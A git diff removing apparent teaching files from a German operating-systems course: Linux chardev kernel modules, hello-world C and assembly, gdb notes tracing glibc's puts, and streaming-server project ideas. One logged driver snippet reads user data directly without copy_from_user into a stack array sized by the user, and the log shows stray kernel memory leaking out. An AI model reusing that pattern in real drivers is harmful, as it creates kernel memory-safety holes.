-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20210507/chardev-3.c b/20210507/chardev-3.c
deleted file mode 100644
index 516a074f806e3f600009b39ca912bf5ab69e3989..0000000000000000000000000000000000000000
--- a/20210507/chardev-3.c
+++ /dev/null
@@ -1,198 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/device.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-MODULE_LICENSE("GPL");
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-struct class *dev_Class;
-struct device *chr_dev;
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-        // Create module class
-        printk (KERN_INFO "Creating device class \"chardev\" ...\n");
-        dev_Class = class_create (THIS_MODULE,DEVICE_NAME);
-        if( dev_Class == NULL)
-        {
-            printk (KERN_ALERT "Error! Class couldn't be created!\n");
-            return 1;
-        }
-        printk (KERN_INFO "Class created!\n");
-        // Create device in /dev/...
-        printk (KERN_INFO "Creating device\n");
-        chr_dev = device_create (dev_Class, NULL, MKDEV (Major,0), NULL, DEVICE_NAME);
-        if (chr_dev == NULL)
-        {
-            printk( KERN_ALERT "Error! Device couldn't be created!\n" );
-            return 1 ;
-        }
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-        printk(KERN_INFO "module chardev-4 cleanup\n");
-        //Unregister the device
-        if (chr_dev)
-          {
-            printk(KERN_INFO "Unregister device ...\n");
-            device_unregister(chr_dev);
-            printk(KERN_INFO "OK\n");
-          }
-
-        if (dev_Class)
-          {
-            printk(KERN_INFO "Unregister class ...\n");
-            class_unregister(dev_Class);
-            printk(KERN_INFO "OK\n");
-          }
-
-        printk(KERN_INFO "Unregister Chardev ...\n");
-        unregister_chrdev(Major, DEVICE_NAME);
-        printk(KERN_INFO "Device %s unregistered!\n", DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_ALERT "Sorry, this operation isn't supported.\n");
-	return -EINVAL;
-}
diff --git a/20210507/hello-1.c b/20210507/hello-1.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210507/hello-1.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210507/hello-1.s b/20210507/hello-1.s
deleted file mode 100644
index 74d6a369cdbf391e6c0045d41640db9b020d3935..0000000000000000000000000000000000000000
--- a/20210507/hello-1.s
+++ /dev/null
@@ -1,24 +0,0 @@
-	.file	"hello-1.c"
-	.text
-	.section	.rodata.str1.1,"aMS",@progbits,1
-.LC0:
-	.string	"Hello, world!"
-	.text
-	.globl	main
-	.type	main, @function
-main:
-.LFB11:
-	.cfi_startproc                     # #include <stdio.h>
-	subq	$8, %rsp                   # 
-	.cfi_def_cfa_offset 16             # int main (void)
-	leaq	.LC0(%rip), %rdi           # {
-	call	puts@PLT                   #   printf ("Hello, world!\n");
-	movl	$0, %eax                   #   return 0;
-	addq	$8, %rsp                   # }
-	.cfi_def_cfa_offset 8
-	ret
-	.cfi_endproc
-.LFE11:
-	.size	main, .-main
-	.ident	"GCC: (Debian 8.3.0-6) 8.3.0"
-	.section	.note.GNU-stack,"",@progbits
diff --git a/20210507/hello-2.c b/20210507/hello-2.c
deleted file mode 100644
index b767f77cd3a7328e5f45b60e674d32a647386509..0000000000000000000000000000000000000000
--- a/20210507/hello-2.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  puts ("Hello, world!");
-  return 0;
-}
diff --git a/20210507/hello-2.s b/20210507/hello-2.s
deleted file mode 100644
index 272bf70d0e982b55523ac1b7ff767b6a6b4e36ac..0000000000000000000000000000000000000000
--- a/20210507/hello-2.s
+++ /dev/null
@@ -1,24 +0,0 @@
-	.file	"hello-2.c"
-	.text
-	.section	.rodata.str1.1,"aMS",@progbits,1
-.LC0:
-	.string	"Hello, world!"
-	.text
-	.globl	main
-	.type	main, @function
-main:
-.LFB11:
-	.cfi_startproc
-	subq	$8, %rsp
-	.cfi_def_cfa_offset 16
-	leaq	.LC0(%rip), %rdi
-	call	puts@PLT
-	movl	$0, %eax
-	addq	$8, %rsp
-	.cfi_def_cfa_offset 8
-	ret
-	.cfi_endproc
-.LFE11:
-	.size	main, .-main
-	.ident	"GCC: (Debian 8.3.0-6) 8.3.0"
-	.section	.note.GNU-stack,"",@progbits
diff --git a/20210507/hello-3.c b/20210507/hello-3.c
deleted file mode 100644
index e94ca36ea31d1cda0d9f38d132cf59fc21c08fb8..0000000000000000000000000000000000000000
--- a/20210507/hello-3.c
+++ /dev/null
@@ -1,12 +0,0 @@
-extern int puts (char *s);
-
-void printf (void)
-{
-  puts ("Hello, world!");
-}
-
-int main (void)
-{
-  printf ();
-  return 0;
-}
diff --git a/20210507/modules-5.txt b/20210507/modules-5.txt
deleted file mode 100644
index c35d087df67701dfa512ab1d9a1f98a80baa519b..0000000000000000000000000000000000000000
--- a/20210507/modules-5.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev
-cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
-cassini/home/peter/bo/2021ss/bs/20210430> ls -l dev/chardev
-crw-rw-rw- 1 root root 241, 0 Apr 30 15:14 dev/chardev
-cassini/home/peter/bo/2021ss/bs/20210430> sudo cat dev/chardev
-cat: dev/chardev: Kein passendes Gerät bzw. keine passende Adresse gefunden
-cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep chardev
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210507/modules-6.txt b/20210507/modules-6.txt
deleted file mode 100644
index e96c84006288c46e2ff5ee3b397a81b4db94d374..0000000000000000000000000000000000000000
--- a/20210507/modules-6.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod chardev-1a.ko
-cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep chardev
-chardev_1a             16384  0
-cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev
-I already told you 0 times Hello world!
-cassini/home/peter/bo/2021ss/bs/20210430> cat dev/chardev
-I already told you 1 times Hello world!
-cassini/home/peter/bo/2021ss/bs/20210430> echo "Dies ist ein Test." > dev/chardev
-cassini/home/peter/bo/2021ss/bs/20210430>
-
-
-Inhalt von /var/log/kern.log:
-
-May  7 12:57:21 cassini kernel: [1601195.178390] I was assigned major number 241. To talk to
-May  7 12:57:21 cassini kernel: [1601195.178391] the driver, create a dev file with
-May  7 12:57:21 cassini kernel: [1601195.178392] 'mknod /dev/chardev c 241 0'.
-May  7 12:57:21 cassini kernel: [1601195.178392] Try various minor numbers. Try to cat and echo to
-May  7 12:57:21 cassini kernel: [1601195.178392] the device file.
-May  7 12:57:21 cassini kernel: [1601195.178393] Remove the device file and module when done.
-May  7 12:57:40 cassini kernel: [1601214.177086] Got user data: Dies ist ein Test.
-May  7 12:57:40 cassini kernel: [1601214.177086] ss/bs/20210430
-May  7 12:57:40 cassini kernel: [1601214.177086] indow -P openmeetings https://www.cvh-server.de/vnc/ &
-May  7 12:57:40 cassini kernel: [1601214.177086]        return
-May  7 12:57:40 cassini kernel: [1601214.177086]         ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]     esac;
-May  7 12:57:40 cassini kernel: [1601214.177086]     local complete_opt="--others --modified --directory --no-empty-directory";
-May  7 12:57:40 cassini kernel: [1601214.177086]     if test -n "$(__git_find_on_cmdline "-u --update")"; then
-May  7 12:57:40 cassini kernel: [1601214.177086]         complete_opt="--modified";
-May  7 12:57:40 cassini kernel: [1601214.177086]     fi;
-May  7 12:57:40 cassini kernel: [1601214.177086]     __git_complete_index_file "$complete_opt"
-May  7 12:57:40 cassini kernel: [1601214.177086]                 exclude=$OPTARG
-May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]             p)
-May  7 12:57:40 cassini kernel: [1601214.177086]                 vprev=$OPTARG
-May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]             w)
-May  7 12:57:40 cassini kernel: [1601214.177086]                 vwords=$OPTARG
-May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]         esac;
-May  7 12:57:40 cassini kernel: [1601214.177086]     done;
diff --git a/20210507/modules-7.txt b/20210507/modules-7.txt
deleted file mode 100644
index 43d30622349766288b101f6a13e2748073e60e93..0000000000000000000000000000000000000000
--- a/20210507/modules-7.txt
+++ /dev/null
@@ -1,37 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod chardev-1b.ko
-cassini/home/peter/bo/2021ss/bs/20210430> echo "Dies ist ein Test." > dev/chardev
-cassini/home/peter/bo/2021ss/bs/20210430> sudo tail -22 /var/log/kern.log
-May  7 12:57:40 cassini kernel: [1601214.177086]     if test -n "$(__git_find_on_cmdline "-u --update")"; then
-May  7 12:57:40 cassini kernel: [1601214.177086]         complete_opt="--modified";
-May  7 12:57:40 cassini kernel: [1601214.177086]     fi;
-May  7 12:57:40 cassini kernel: [1601214.177086]     __git_complete_index_file "$complete_opt"
-May  7 12:57:40 cassini kernel: [1601214.177086]                 exclude=$OPTARG
-May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]             p)
-May  7 12:57:40 cassini kernel: [1601214.177086]                 vprev=$OPTARG
-May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]             w)
-May  7 12:57:40 cassini kernel: [1601214.177086]                 vwords=$OPTARG
-May  7 12:57:40 cassini kernel: [1601214.177086]             ;;
-May  7 12:57:40 cassini kernel: [1601214.177086]         esac;
-May  7 12:57:40 cassini kernel: [1601214.177086]     done;
-May  7 13:07:49 cassini kernel: [1601823.599104] I was assigned major number 241. To talk to
-May  7 13:07:49 cassini kernel: [1601823.599106] the driver, create a dev file with
-May  7 13:07:49 cassini kernel: [1601823.599108] 'mknod /dev/chardev c 241 0'.
-May  7 13:07:49 cassini kernel: [1601823.599108] Try various minor numbers. Try to cat and echo to
-May  7 13:07:49 cassini kernel: [1601823.599109] the device file.
-May  7 13:07:49 cassini kernel: [1601823.599109] Remove the device file and module when done.
-May  7 13:07:58 cassini kernel: [1601832.651791] Got user data: Dies ist ein Test.
-May  7 13:07:58 cassini kernel: [1601832.651791] .
-cassini/home/peter/bo/2021ss/bs/20210430> tail chardev-1b.c
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-        char b[len + 1];
-        strncpy (b, buff, len);
-        b[len] = 0;
-        printk(KERN_INFO "Got user data: %s.\n", b);
-        return len;
-}
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210507/os-layers-1.jpg b/20210507/os-layers-1.jpg
deleted file mode 120000
index 6dc99e9e12dbc84e908c37974c7d528be014d587..0000000000000000000000000000000000000000
--- a/20210507/os-layers-1.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-1.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-2.jpg b/20210507/os-layers-2.jpg
deleted file mode 120000
index 4da385ea396af0f9c7ed79b23a183a3b5618b445..0000000000000000000000000000000000000000
--- a/20210507/os-layers-2.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-2.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-3.jpg b/20210507/os-layers-3.jpg
deleted file mode 120000
index eaf5b599709e39d1c51dfdac28843c31b3fa971c..0000000000000000000000000000000000000000
--- a/20210507/os-layers-3.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-3.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-4.jpg b/20210507/os-layers-4.jpg
deleted file mode 120000
index efcbbd1827ff55f225fee0b77b8bfb5c6cff980c..0000000000000000000000000000000000000000
--- a/20210507/os-layers-4.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-4.jpg
\ No newline at end of file
diff --git a/20210507/os-layers-5.jpg b/20210507/os-layers-5.jpg
deleted file mode 120000
index 91cabe9241f19ece833cb22e8f16587153f246a2..0000000000000000000000000000000000000000
--- a/20210507/os-layers-5.jpg
+++ /dev/null
@@ -1 +0,0 @@
-../common/os-layers-5.jpg
\ No newline at end of file
diff --git a/20210514/bs-20210514.txt b/20210514/bs-20210514.txt
deleted file mode 100644
index c11bfa49d1a3347fa18970cb973512926af2c5a5..0000000000000000000000000000000000000000
--- a/20210514/bs-20210514.txt
+++ /dev/null
@@ -1,130 +0,0 @@
-Projektideen, 14.05.2021, 11:39:44
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- * Janus WebRTC
-    - Warum brach am 10.5.2021 die Bildübertragung per Janus
-      bei ca. 130 Teilnehmenden zusammen?
-    - Was kann man dagegen tun?
-    - Zum Testen: Pool-Rechner
-
- * Streaming
-    - Problem: WebRTC (Echtzeit) überlastet die Server.
-    - Mögliche Lösung: Echtzeit-Bildschirm "abfilmen" und streamen
-    - Ziel: Online-Konferenzsystem,
-      bei dem ein Teil des Publikums aktiv teilnehmen kann
-      (in Echtzeit, ca. 50 Teilnehmende)
-      und alle anderen (1000+) per Streaming (mit leichter Verzögerung)
-      zumindest passiv zuschauen und zuhören können
-    - Software: z.B. IceCast
-    - Zum Testen: Pool-Rechner
-
- * Mumble-Web-Interface
-    - Problem: Das Mumble-Web-Interface überlastet den Server.
-    - Ursache:
-      Der Web-Client spricht nicht direkt mit Mumble,
-      sondern per WebSocket mit seinem Server.
-      Der Server muß dann zwischen dem WebSocket und Mumble vermitteln.
-
- * VNC-Web-Interface
-    - Problem: Es hat funktioniert, aber es war langsam.
-    - Ursache:
-      Der Web-Client spricht nicht direkt mit VNC,
-      sondern per WebSocket mit seinem Server.
-      Der Server muß dann zwischen dem WebSocket und VNC vermitteln.
-
- * Mögliche Lösung: effizienteres websockify
-    - Aktuelle Implementierungen: python, node.js
-    - Idee: In C programmieren.
-      https://github.com/mittorn/websockify-c - ohne SSL,
-      aber um SSL kümmert sich ja der Web-Server (Proxy)
-    - Idee: node.js-Version verwenden.
-      node.js ist nur um den Faktor 1.5 langsamer als C, python ca. 10mal
-      https://benchmarksgame-team.pages.debian.net/benchmarksgame/which-programs-are-fastest.html
-
- * Weitere Lösungsideen
-    - auf mehrere Server verteilen
-    ? TigerVNC: effizienter gestalten: Scroll-Algorithmus
-    ? x11vnc: effizienter gestalten: Scroll-Algorithmus
-    ? noVNC: effizienter gestalten: WebAssembly
-    ? noVNC: effizienter gestalten: Scroll-Algorithmus
-
-Daten zu PULT-Nutzung, 14.05.2021, 11:51:32
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Mumble-Web-Interface: websockify python-3
-  websockify auf main-0: 3% CPU-Last pro Instanz am 10.5.2021
-  websockify auf main-0: 2.5% bis 4.0% CPU-Last pro Instanz am 14.5.2021
-
-VNC-Web-Interface: websockify python-2.7, TigerVNC
-  websockify auf streaming: 1% CPU-Last pro Instanz am 10.5.2021
-  websockify auf streaming: 2.5% CPU-Last pro Instanz am 14.5.2021
-  TigerVNC auf streaming: 50% bis 64% CPU-Last mit 13 Instanzen am 14.5.2021
-  TigerVNC auf streaming: 40% bis 45% CPU-Last mit 7 Instanzen am 14.5.2021
-  TigerVNC auf streaming: 90% bis 97% CPU-Last mit ~120 Instanzen am 14.5.2021
-
-Von der Anwendung bis zum Kernel: libc, 14.05.2021, 14:17:04
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-$ gcc -Wall -O -g3 hello-1.c -o hello-1
-$ gdb -tui ./hello-1
-(gdb) b 5  # setze Breakpoint vor printf()-Aufruf
-(gdb) run
-(gdb) step  # springe in die aufgerufene Funktion hinein
-(gdb) directory libc/glibc-2.28/libio  # Verzeichnis für Quelltext mitteilen
---> _IO_puts()
-(gdb) next  # 1 Zeile ausführen
---> _IO_sputn()  # springe in die aufgerufene Funktion hinein
---> IO_validate_vtable()  # In dieser Funktion landen wir stattdessen.
---> return vtable;
---> "Hello, world!\n" erscheint auf dem Bildschirm.
---> ???
-
-_IO_sputn() ist keine Funktion, sondern ein Präprozessor-Makro,
-der _IO_XSPUTN() aufruft.
-
-_IO_XSPUTN() ist keine Funktion, sondern ein Präprozessor-Makro,
-der JUMP2() aufruft und zusätzlich __xsputn
-als ersten Parameter übergibt.
-
-JUMP2() ist keine Funktion, sondern ein Präprozessor-Makro,
-der die Funktion _IO_JUMPS_FUNC(THIS)->FUNC() aufruft
-und zusätzlich THIS als ersten Parameter übergibt.
-FUNC hat hierbei den Wert __xsputn, und
-THIS hat den Wert FP, also die Datei, hier also stdout.
-
-_IO_JUMPS_FUNC() ist keine Funktion, sondern ein Präprozessor-Makro,
-der ...
-
-# define _IO_JUMPS_FUNC(THIS) \
-  (IO_validate_vtable                                                   \
-   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)       \
-                             + (THIS)->_vtable_offset)))
-
-... prüft, ob die virtuelle Methodentabelle (vtable) in Ordnung ist
-und einen Zeiger darauf zurückliefert.
-Anschließend kann JUMP2() die tatsächliche Funktion __xsputn() aufrufen.
-
-Gesamtergebnis:
-
-_IO_sputn() ist eine virtuelle Methode der Datei.
-THIS hat den Wert der Datei, hier also stdout.
-
-...
---> return vtable;
---> _IO_new_file_xsputn()
-# --> _IO_OVERFLOW (f, EOF)
-# --> IO_valudate_vtable()  # Aufruf einer virtuellen Methode
-# --> _IO_new_file_overflow()
-# --> _IO_do_write (f, ...)  # Präprozessor-Makro für ...
-# --> _IO_new_do_write (f, ...)
-_IO_default_xsputn (f, ...)
---> _IO_OVERFLOW (f, EOF)
---> IO_valudate_vtable()  # Aufruf einer virtuellen Methode
---> _IO_new_file_overflow()
---> _IO_do_write (f, ...)  # Präprozessor-Makro für ...
---> _IO_new_do_write (f, ...)
-... Schleife ...
-Datei fileops.c, Zeile 791
---> _IO_new_do_write (f, ...)
---> new_do_write (f, ...)
---> _IO_SYSWRITE (fp, ...)
---> __libc_write()
-Datei sysdeeps/unix/sysv/linux/write.c, Zeile 26
---> return SYSCALL_CANCEL (write, fd, buf, nbytes);
diff --git a/20210514/hello-1.c b/20210514/hello-1.c
deleted file mode 100644
index b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac..0000000000000000000000000000000000000000
--- a/20210514/hello-1.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
diff --git a/20210514/hello-2.c b/20210514/hello-2.c
deleted file mode 100644
index b767f77cd3a7328e5f45b60e674d32a647386509..0000000000000000000000000000000000000000
--- a/20210514/hello-2.c
+++ /dev/null
@@ -1,7 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
-  puts ("Hello, world!");
-  return 0;
-}
diff --git a/20210514/hello-3.c b/20210514/hello-3.c
deleted file mode 100644
index e94ca36ea31d1cda0d9f38d132cf59fc21c08fb8..0000000000000000000000000000000000000000
--- a/20210514/hello-3.c
+++ /dev/null
@@ -1,12 +0,0 @@
-extern int puts (char *s);
-
-void printf (void)
-{
-  puts ("Hello, world!");
-}
-
-int main (void)
-{
-  printf ();
-  return 0;
-}
diff --git a/20210514/verbinde-video-1.txt b/20210514/verbinde-video-1.txt
deleted file mode 100644
index aa25ed6cbcadb114bdbde3aa6b6b5de580a6bdd0..0000000000000000000000000000000000000000
--- a/20210514/verbinde-video-1.txt
+++ /dev/null
@@ -1,30 +0,0 @@
-streaming/home/pult/vnc6> DISPLAY=:6 HOME=`pwd` xwininfo -root -children
-
-xwininfo: Window id: 0x394 (the root window) (has no name)
-
-  Root window id: 0x394 (the root window) (has no name)
-  Parent window id: 0x0 (none)
-     20 children:
-     0x1600088 (has no name): ("ssvncviewer" "Ssvnc")  1920x1080+0+0  +0+0
-     0x12003df "janus-1 Camera 0": ("display-im6.q16" "Display-im6.q16")  480x360+1440+720  +1440+720
-     0x20012a "Xpdf: /home/pult/vnc6/vnc-testbild.pdf": ("win" "Xpdf")  1920x1080+0+0  +0+0
-     0x12009ba "Pan Icon": ("display-im6.q16" "Display-im6.q16")  96x72+960+960  +960+960
-     0x12008c4 "Magnify 3X": ("display-im6.q16" "Display-im6.q16")  256x256+960+960  +960+960
-     0x12007c5 (has no name): ("display-im6.q16" "Display-im6.q16")  1x1+960+960  +960+960
-     0x12006cb (has no name): ("display-im6.q16" "Display-im6.q16")  1x1+960+960  +960+960
-     0x12005d1 "Commands": ("display-im6.q16" "Display-im6.q16")  134x410+960+670  +960+670
-     0x12001f3 (has no name): ("display-im6.q16" "Display-im6.q16")  96x72+960+960  +960+960
-     0x1600081 "chat": ("chat" "Ssvnc")  410x359+0+0  +0+0
-     0x600251 (has no name): ()  1x1+3+2  +3+2
-     0x3a2 (has no name): ()  100x100+0+0  +0+0
-     0x20013f "Xpdf: Print": ("printDialog_popup" "Xpdf")  5x5+0+0  +0+0
-     0x20013e "Xpdf: Find": ("findDialog_popup" "Xpdf")  5x5+0+0  +0+0
-     0x200130 "Xpdf: About": ("aboutDialog_popup" "Xpdf")  450x300+0+0  +0+0
-     0x200116 (has no name): ()  5x5+0+0  +0+0
-     0x20010e "Xpdf: Password": ("passwordDialog_popup" "Xpdf")  5x5+0+0  +0+0
-     0x400001 (has no name): ()  10x10+-100+-100  +-100+-100
-     0x200002 (has no name): ()  1x1+0+0  +0+0
-     0x200001 "xpdf.real": ("xpdf.real" "Xpdf")  1x1+0+0  +0+0
-
-streaming/home/pult/vnc6> DISPLAY=:6 HOME=`pwd` xdotool windowraise 0x12003df
-streaming/home/pult/vnc6>
diff --git a/20210521/bs-20210521.txt b/20210521/bs-20210521.txt
deleted file mode 100644
index ce1cc9236fe2cdbcbbe0e0fa5e5f9202d19a409d..0000000000000000000000000000000000000000
--- a/20210521/bs-20210521.txt
+++ /dev/null
@@ -1,309 +0,0 @@
-Bedeutung von "%rip", "%rax" usw. 21.05.2021, 12:04:22
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Quellen:
-https://softwareengineering.stackexchange.com/questions/127668/what-does-the-r-in-x64-register-names-stand-for
-https://stackoverflow.com/questions/10995349/what-does-the-r-stand-for-in-rax-rbx-rcx-rdx-rsi-rdi-rbp-rsp
-
-1. Quelle:
-
-  It means register, and it isn't all for historical reasons.
-
-  The historical part is that Intel got itself into the habit of enumerating
-  registers with letters with the 8008 (A through E plus H and L). That scheme
-  was more than adequate at the time because microprocessors had very few
-  registers and weren't likely to get more, and most designs did it. The
-  prevailing sentiment then was that software would be rewritten for new CPUs as
-  they appeared, so changing the register naming scheme between models wouldn't
-  have been a big deal. Nobody foresaw the 8088 evolving into a "family" after
-  being incorporated into the IBM PC, and the yoke of backward compatibility
-  pretty much forced Intel into having to adopt schemes like the "E" on 32-bit
-  registers to maintain it.
-
-  The non-historical part is all practical. Using letters for general-purpose
-  registers limits you to 26, fewer if you weed out those that might cause
-  confusion with the names of special-purpose registers like the program counter,
-  flags or the stack pointer.
-
-  I don't have a source to confirm it, but I suspect the choice of R as a prefix
-  and the introduction of R8 through R15 on 64-bit CPUs signals a transition to
-  numbered registers, which have been the norm among 32-bit-and-larger
-  architectures not derived from the 8008 for almost half a century. IBM did it
-  in the 1960s with the 360 and has been followed by the PowerPC, DEC Alpha,
-  MIPS, SPARC, ARM, Intel's i860 and i960 and a bunch of others that are
-  long-forgotten.
-
-  You'll note that the existing registers would fit nicely into R0 through R7 if
-  they existed, and it wouldn't surprise me a bit if they're treated that way
-  internally. The existing long registers (RAX/EAX/AX/AL, RBX/EBX/BX/BL, etc.)
-  will probably stay around until the sun burns out.
-
-rax/eax/ax/al = "accumulator"
-rbx/ebx/bx/bl = "base"
-rcx/ecx/cx/cl = "counter"
-rdx/edx/dx/dl = "data"
-
-rsi/esi/si = "source index" (64/32/16 Bit)
-rdi/edi/di = "destination index" (64/32/16 Bit)
-
-16-Bit-Assembler:
-
-  mov si <-- "Hello, world!\n" (Zeiger auf String)
-  mov di <-- Adresse einer Variablen (String dorthin kopieren)
-  mov cx <-- 14 (Länge)
-  rep movsb   (Kopierschleife in einem einzigen Assembler-Befehl mit Präfix)
-
-"CISC" - "Complex Instruction Set Computing"; z.B. x86-Architektur
-"RISC" - "Reduced Instruction Set Computing"; z.B. i860, Atmel, ARM, MIPS, RISC-V
-
-  Statt "rep movsb": explizite Schleife
-
-loop:
-  mov al <-- [si]
-  mov [di] <-- al
-  inc si
-  inc di
-  dec cx
-  jnz loop   (Jump if Not Zero)
-
-Intel i486: typischerweise 10 bis 30 Taktzyklen pro Befehl
-
-Intel i860: bis zu 3 Befehle pro Taktzyklus
-            Pipeline-Befehle
-            "delayed branch"
-            --> Nebenläufigkeit
-            --> mit 40 MHz ca. 6.5mal so schnell wie i486 mit 66 MHz
-
-loop:
-  mov al <-- [si]
-  mov [di] <-- al
-  inc si
-  dec cx
-  jnz loop   (Jump if Not Zero - "delayed")
-  inc di  <-- wird auf jeden Fall noch vor dem Sprung ausgeführt
-
-Warum kam der Übergang von CISC zu RISC?
-
- - "rep movsb": etliche Takte pro "Schleifendurchlauf"
